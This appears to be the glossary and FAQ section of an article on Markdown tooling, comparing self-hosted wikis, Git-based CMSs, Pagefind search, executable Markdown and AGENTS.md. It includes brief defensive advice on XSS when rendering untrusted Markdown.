- A content management system with no database. Editors work in a web UI, and their changes are committed as ordinary files to a Git repository. Your content stays plain Markdown that survives the CMS being removed.
- Front matter
- The YAML, TOML or JSON metadata block at the top of a Markdown file, holding things like title, date and tags. It’s what a Git CMS turns into form fields.
- Index chunking
- Splitting a search index into many small files so a browser downloads only the pieces a query needs. It’s what lets Pagefind search a 10,000-page site in under 300kB.
- WASM (WebAssembly)
- A compact binary format that runs at near-native speed in browsers. Pagefind ships its search engine as WASM, which is why the initial payload is so small.
- Literate programming
- Knuth’s idea of writing a program as prose explaining itself, with the executable code embedded in the explanation. Runme, xc and mdsh are all modern descendants.
- Idempotent
- An operation you can run repeatedly with the same result. mdsh updates Markdown in place idempotently, so re-running refreshes generated blocks rather than stacking up duplicates.
- AGENTS.md
- A plain Markdown file at a repository root giving AI coding agents build commands, test commands, style rules and boundaries. Stewarded by the Linux Foundation’s Agentic AI Foundation, with no required schema.
- XSS (Cross-Site Scripting)
- An attack where someone gets JavaScript of their choosing to execute in another user’s browser on your site. Rendering untrusted Markdown with raw HTML enabled is a straightforward way to allow it.
- Allowlist vs blocklist
- An allowlist permits only what you name and rejects everything else. A blocklist rejects only what you name and permits the rest. For security, allowlists are the only defensible choice.
- Content Security Policy (CSP)
- An HTTP header telling the browser which sources of script, style and images to trust. It won’t fix an injection bug, but it can stop one being exploitable.
FAQ
Which self-hosted Markdown wiki should I pick in 2026?
Docmost for most teams. It has a real AGPL-3.0 licence, a Notion-style block editor with real-time collaboration, and a three-container Docker Compose setup. Pick BookStack instead if non-technical colleagues will contribute, or Wiki.js if you want your pages backed by a Git repository.
Is Outline actually open source?
No, and this trips people up. Outline ships under the Business Source License 1.1, which is source-available rather than OSI-approved open source. You can self-host it for your own team for free, but you cannot offer it as a competing hosted service. The licence converts to Apache 2.0 on 1 January 2030.
Does BookStack have an official Docker image?
No. The project officially supports manual installation and its Ubuntu install scripts, and points to community Docker setups from LinuxServer.io and solidnerd. Those community images are well maintained and what most people actually run, but they are not maintained by the BookStack project itself.
Is Wiki.js still worth using if version 3 never ships?
For the Git sync feature, yes. Version 2 is stable, still gets maintenance releases, and nothing else implements bidirectional Git sync as well. Just go in knowing the v3 developer preview dates from October 2022 and still has no ETA, and that commit activity on the main branch has slowed considerably.
What is the difference between markdownlint and Vale?
They catch completely different problems. markdownlint checks structure: heading levels, list markers, missing alt text, bare URLs. Vale checks the writing itself: passive voice, vague wording, banned terminology, inconsistent product names. Run both, because neither covers the other’s ground.
Is self-hosting a wiki actually cheaper than Notion or Confluence?
At team scale, comfortably. Notion Business is around $20 per user per month and Confluence Standard starts near $5.42, so a 50-person team pays roughly $12,000 or $3,250 a year respectively. A self-hosted wiki runs on a €10 to €20 VPS. The real cost is your time maintaining it, which is the part worth being honest about.
Is Decap CMS still maintained in 2026?
Yes, though you will read otherwise. Netlify handed it to the community, but the repository still receives commits, including recent bug fixes. What is fair to say is that development moves slower than Sveltia or Keystatic, there is a long tail of open issues, and the admin UI looks dated. Abandoned is the wrong word.
Which Git-based CMS should I use with a static site?
Pages CMS if you are on GitHub and want the fastest setup, since it is free hosted or self-hosted. Sveltia CMS for a modern interface, keeping in mind it is beta until 1.0 lands in late 2026. Decap CMS if you need GitLab or Bitbucket. Keystatic if you want TypeScript-defined schemas.
Does Pagefind work with any static site generator?
Yes, because it indexes your built HTML rather than your source files. Hugo, Astro, Eleventy, MkDocs, Jekyll or hand-written HTML all look the same to it. Run npx pagefind –site public after your build, drop the UI component into your template, and you are done.
What is executable Markdown actually useful for?
Stopping documentation drift. Setup instructions that nobody executes quietly rot, because people run the commands they memorised instead. Runme executes the code blocks in your existing README, xc turns headings into named tasks with dependencies, and mdsh embeds real command output back into the document.
Do I need an AGENTS.md file?
If AI agents touch your codebase, it is about thirty minutes well spent. Over 20 tools read it including Claude Code, Copilot, Cursor, Codex and Gemini CLI, and it is used by more than 60,000 projects. There is no schema to learn, it is just Markdown, and the do-not-touch section alone saves a lot of cleanup.
Is Markdown safe to render from untrusted users?
Not by itself. CommonMark deliberately permits inline HTML, so a script tag or an img with an onerror handler is valid Markdown. Rendering that with raw HTML enabled is a straightforward XSS hole. Disable HTML, or sanitise the output with an allowlist before it reaches a browser.
